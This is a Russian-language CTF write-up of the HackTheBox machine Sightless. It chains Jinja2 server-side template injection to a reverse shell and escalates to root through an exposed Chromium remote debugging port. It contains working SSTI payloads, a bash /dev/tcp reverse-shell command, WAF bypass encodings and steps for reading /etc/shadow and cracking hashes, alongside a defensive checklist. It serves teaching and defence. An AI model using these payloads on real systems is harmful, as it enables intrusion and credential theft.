SSTI Jinja2 RCE: разбор HTB Sightless — от инъекции в шаблонизатор до root через Chromium

Три пейлоада в текстовом поле — и я внутри контейнера. Ещё полчаса — и открытый порт отладки Chromium превратился в root. Машина Sightless на HackTheBox (уровень Easy) — учебный пример цепочки, которую я встречал и на реальных внутренних пентестах: SSTI (Server-Side Template Injection — инъекция в серверный шаблонизатор) приводит к RCE (Remote Code Execution — удалённому выполнению кода), а небрежно запущенный браузер открывает дорогу к повышению привилегий. Разберу каждый шаг так, чтобы было понятно не «что нажать», а почему каждый элемент пейлоада именно такой.
Место SSTI в цепочке атаки на HTB Sightless
MITRE ATT&CK — открытая база тактик и техник атак. Каждой технике присвоен T-код (например, T1190). Классификация нужна, чтобы описывать атаки единым языком — от начального доступа до вывода данных. Когда в отчёте пишешь «T1190», любой безопасник в мире понимает, о чём речь.
Цепочка атаки на Sightless укладывается в шесть шагов:
- Initial Access — Exploit Public-Facing Application (T1190): находим веб-приложение, в котором пользовательский ввод попадает в шаблон Jinja2 без фильтрации.
- Execution — Unix Shell (T1059.004): через SSTI получаем reverse shell внутри Docker-контейнера.
- Credential Access — Credentials from Web Browsers (T1555.003): вытаскиваем учётные данные из конфигурационных файлов контейнера.
- Lateral Movement — SSH (T1021.004): подключаемся к хосту по SSH с найденными кредами (T1078 — Valid Accounts: использование легитимных учётных записей).
- Discovery — Browser Information Discovery (T1217): обнаруживаем процесс Chromium с открытым портом удалённой отладки.
- Privilege Escalation — Exploitation for Privilege Escalation (T1068): через Chrome DevTools Protocol читаем файлы от привилегированного пользователя и забираем root.
Где это применимо: внешний пентест веб-приложений на Flask/Django, внутренний пентест self-hosted инструментов (SQLPad, Gitea, Redash), CTF-среды. На modern-инфраструктуре с WAF (ModSecurity CRS >= 3.3, Cloudflare) базовые SSTI-пейлоады блокируются — об обходе расскажу ниже.
Обнаружение Server-Side Template Injection в Jinja2
Jinja2 — шаблонизатор Python, встроенный по умолчанию во Flask (популярный Python-веб-фреймворк). Его задача — подставлять динамические данные в HTML-шаблоны. SSTI возникает, когда пользовательский ввод попадает не в данные шаблона (как переменная), а в сам шаблон (как исполняемый код).
Почему это происходит: разработчик пишет конкатенацию вместо параметризованной подстановки. Согласно OWASP Web Security Testing Guide, уязвимый паттерн выглядит так:
# Уязвимо: ввод пользователя становится частью шаблона
output = render_template_string("Hello " + user_input)
# Безопасно: ввод передаётся как данные
output = render_template_string("Hello {{name}}", name=user_input)
В первом варианте атакующий контролирует структуру шаблона. Во втором — только значение переменной name, которое Jinja2 экранирует. Разница — одна строка кода. Последствия — RCE на сервере.
Детектирование по шагам:
Шаг 1 — математический тест. Отправляем в подозрительный параметр строку {{7*7}}. Если ответ содержит 49 вместо буквального текста — сервер обрабатывает ввод как часть шаблона. На Sightless я перехватил запрос в Burp Suite (перехватывающий HTTP-прокси для анализа веб-трафика), подставил {{7*7}} в параметр веб-формы и увидел 49 в ответе. Бинго.
Шаг 2 — идентификация шаблонизатора. По методологии PortSwigger Research, разные движки по-разному обрабатывают умножение строки на число. Отправляем {{7*'7'}}: если ответ 7777777 — это Jinja2 (Python умножает строку на число), если 49 — Twig (PHP). На Sightless получил 7777777 — однозначно Jinja2.
Шаг 3 — проверка Flask-контекста. Отправляем {{config}}: во Flask-приложении в ответе появится объект конфигурации с переменными окружения, секретными ключами, путями. Наличие config подтверждает Flask и расширяет поверхность атаки.
Для автоматизации этих шагов есть tplmap — он перебирает пейлоады для разных шаблонизаторов и определяет тип движка автоматически. Но я предпочитаю ручную проверку: tplmap генерирует шум в логах, а три ручных запроса дают тот же результат за минуту.
Конструирование RCE-пейлоада Jinja2: почему работает каждый элемент цепочки
Jinja2 не позволяет выполнять произвольный Python-код напрямую: конструкция {{ }} работает с объектами, их атрибутами и методами, но не поддерживает import os. Задача — добраться до модуля os или subprocess через цепочку атрибутов доступных объектов. Это как взлом замка отмычкой: прямого ключа нет, но механизм позволяет подобрать путь.
MRO (Method Resolution Order — порядок разрешения методов) — механизм, по которому Python ищет методы в иерархии классов. В контексте SSTI он позволяет «подняться» от любого объекта до базового класса object, а оттуда «спуститься» к нужным модулям.
Логика цепочки:
- Берём доступный объект — пустую строку
'', объектrequest,configили встроенные функции Jinja2 (cycler,joiner,namespace). - Получаем его класс:
''.__class__вернёт<class 'str'>. - Поднимаемся по иерархии до
object:''.__class__.__mro__[1]вернёт<class 'object'>— корень иерархии всех классов Python. - Вызываем
__subclasses__()— получаем список из сотен подклассов, среди которых есть классы с доступом кosиsubprocess. - Через найденный класс вызываем системную команду.
Это основной путь. Но есть более прямой — через __globals__ и __builtins__, который я использовал на Sightless. Согласно исследованию BI.ZONE (Habr, 2025), если обратиться к конструктору любого доступного объекта через __init__.__globals__, откроется словарь глобальных переменных модуля, а в нём — __builtins__ со встроенными функциями Python, включая __import__.
Исследователи onsecurity.io показали аналогичный путь через request.application.__globals__ во Flask-контексте. HackTricks документирует ещё один вариант — через встроенные глобальные объекты Jinja2: lipsum.__globals__['os'].popen('id').read() или cycler.__init__.__globals__['os'].popen('id').read().
Какой путь выбрать — зависит от того, какие объекты доступны в конкретном приложении. Есть request (Flask) — путь через request.application самый короткий. Нет Flask-контекста — cycler и lipsum доступны в чистом Jinja2.
Remote Code Execution через шаблонизатор: reverse shell
Требования к окружению:
— Kali Linux или любой Linux с Python 3 и netcat — минимум 4 ГБ RAM
— Burp Suite Community Edition для перехвата запросов
— Активное VPN-подключение к HTB (файл .ovpn + sudo openvpn)
— Сетевой доступ к целевой машине (проверить ping)
Шаг 1. Запускаем listener командой nc -lvnp 4444. Ожидаемый результат: netcat слушает порт 4444 и ждёт входящее подключение. Видите строку Listening on 0.0.0.0 4444 — готово.
Шаг 2. Формируем RCE-пейлоад. Вместо id подставляем команду reverse shell:
{{request.application.__globals__.__builtins__.__import__('os').popen('bash -c "bash -i >& /dev/tcp/YOUR_IP/4444 0>&1"').read()}}
Разбор: request.application → объект Flask-приложения; .__globals__ → глобальные переменные модуля; .__builtins__.__import__('os') → импорт модуля os; .popen(...) → выполнение системной команды; bash -i >& /dev/tcp/... → интерактивный bash перенаправляет ввод-вывод на нашу машину.
Шаг 3. Отправляем пейлоад через Burp Repeater в уязвимый параметр. Если всё правильно — в окне netcat появляется shell. Команда whoami покажет, от какого пользователя работает процесс.
Шаг 4 — проверка окружения. Команда hostname и cat /proc/1/cgroup покажут, что мы внутри Docker-контейнера. Дальше ищем учётные данные: env для переменных окружения, find / -name "*.env" 2>/dev/null для файлов конфигурации, cat /etc/shadow для хешей паролей (если доступен).
Когда прямой пейлоад не работает. Если WAF блокирует точки (.) или подчёркивания (_), исследователь Gus из onsecurity.io документировал каскад обходов: замена __globals__ на hex-кодировку \x5f\x5fglobals\x5f\x5f, bracket notation request['application'] вместо request.application, фильтр attr для обхода блокировки квадратных скобок. Если заблокированы фигурные скобки {{}} — работают statement-теги {% %}: конструкция {% if request['application']['__globals__']... %}yes{% endif %} выполнит команду через blind-эксфильтрацию по аналогии с blind SQL-инъекцией.
Ограничения техники SSTI в продуктивных средах:
— ModSecurity CRS >= 3.3 содержит правила для паттернов __class__, __mro__, __subclasses__, __globals__
— Cloudflare WAF и AWS WAF в managed rule sets блокируют характерные SSTI-строки
— Jinja2 SandboxedEnvironment запрещает доступ к атрибутам с двойным подчёркиванием
— Где работает: legacy-приложения без WAF, внутренние сервисы (SQLPad, Redash, кастомные admin-панели), CTF
Privilege escalation через Chromium remote debug port
После SSH-подключения к хосту с найденными учётными данными начинается этап повышения привилегий. На Sightless при проверке открытых портов (ss -tlnp) обнаруживается процесс Chromium с флагом --remote-debugging-port.
Chrome DevTools Protocol (CDP — протокол удалённой отладки браузера) позволяет подключиться к работающему экземпляру Chromium и выполнять JavaScript в контексте открытых вкладок, читать cookies, управлять файловой навигацией. Если Chromium запущен от привилегированного пользователя — подключение к debug-порту даёт контекст этого пользователя. По сути, debug-порт — это бэкдор, который разработчики оставляют сами.
Эксплуатация по шагам:
Шаг 1 — SSH-туннель. Пробрасываем debug-порт на свою машину: ssh -L 9222:127.0.0.1:REMOTE_DEBUG_PORT user@target. После этого CDP доступен локально на localhost:9222. Проверка: curl http://localhost:9222/json должен вернуть JSON со списком вкладок.
Шаг 2 — подключение. В Chromium на своей машине переходим на chrome://inspect, добавляем localhost:9222 в настройках. В секции Remote Target появляются вкладки целевого браузера.
Шаг 3 — эксплуатация. Нажимаем Inspect на вкладке — открывается полноценный DevTools. Через консоль JavaScript навигируем браузер к file:///etc/shadow — если Chromium работает от root, содержимое файла отрисуется в окне. Извлекаем хеш пароля root, ломаем его через hashcat или john и получаем полный доступ.
Ограничения:
— Работает только если debug-порт доступен через SSH-туннель или привязан к 0.0.0.0 (что редкость на современных deployment-ах)
— Kubernetes с Pod Security Standards и Docker с --security-opt no-new-privileges не запускают браузеры от root
— CrowdStrike Falcon и Elastic Endpoint 8.x+ детектируют подключения к debug-порту как аномальную активность через мониторинг сетевых соединений процессов
— Где работает: внутренний пентест, legacy-инфраструктура, CTF, среды с headless-браузерами для рендеринга PDF или автоматизации тестов
Защита от SSTI-эксплуатации и Chromium debug: чеклист
Согласно OWASP Top 10 (A03:2021 — Injection), SSTI относится к классу инъекций наряду с SQL Injection и OS Command Injection. Подход к защите аналогичен: параметризованные конструкции вместо конкатенации.
Чеклист для передачи разработчикам и администраторам:
- Передавайте пользовательские данные через контекст шаблона (
render_template("page.html", name=user_input)), а не через конкатенацию сrender_template_string - Включите
[SandboxedEnvironment](https://jinja.palletsprojects.com/en/stable/sandbox/)в Jinja2 — это ограничит доступ к атрибутам__class__,__mro__,__globals__ - На уровне WAF заблокируйте паттерны
__class__,__subclasses__,__builtins__,__import__в пользовательском вводе - Не запускайте Chromium с
--remote-debugging-portв продуктивной среде; если debug-порт нужен для рендеринга — привяжите к127.0.0.1и закройте firewall-правилом - Мониторьте процессы с аргументом
--remote-debugging-portчерез auditd или Osquery; алерт на подключения к debug-порту из нехарактерных источников
По данным исследования arxiv (2024), проанализировавшего 34 шаблонизатора в восьми языках программирования, большинство допускают путь к RCE — проблема архитектурная, а не конфигурационная. Формула на бумаге понятна, но SSTI по-настоящему ощущается, когда сам прогоняешь пейлоады и видишь, какие обходы работают, а какие нет. Готовый стенд для практики есть на HackerLab.pro — российская CTF-платформа с категориями web, pwn, crypto и другими; нужна регистрация, после неё доступны таски разных уровней сложности.
BI.ZONE в разборе 2025 года отмечает, что SSTI чаще всего встречается в системах email-рассылок, генерации отчётов и конфигурационных файлов — там, где разработчики дают пользователям контроль над содержимым шаблона, не задумываясь о последствиях.
Принято считать, что SSTI — уязвимость из 2015 года, которую клиентский рендеринг (React, Vue, Angular) убил окончательно. Из моей практики — не убил. SSTI мигрировала: из основного веб-интерфейса в инфраструктурные компоненты. Админ-панели, self-hosted инструменты для аналитики, внутренние сервисы генерации PDF и email-шаблонов — всё это до сих пор работает на серверных шаблонизаторах, и разработчики этих компонентов редко думают о SSTI как о реальной угрозе. Вторая часть проблемы — Chromium в headless-режиме. Разработчики запускают --remote-debugging-port для автотестов или рендеринга скриншотов, и этот порт остаётся открытым месяцами. Пока DevOps-команды не начнут относиться к debug-порту Chromium так же серьёзно, как к открытому SSH с пустым паролем, связка «SSTI в контейнере → украденные креды → SSH на хост → debug-порт → root» будет работать не только на HTB, но и в продуктивных средах. Если хочешь разобраться в таких цепочках системно — на IB Basics показывают, как устроен путь от первого сканирования до финального отчёта, без предположений о том, что ты уже знаешь.
Эту тему и смежные навыки разбирают на практике в курсе «Тестирование веб-приложений на проникновение (WAPT)» Codeby Academy.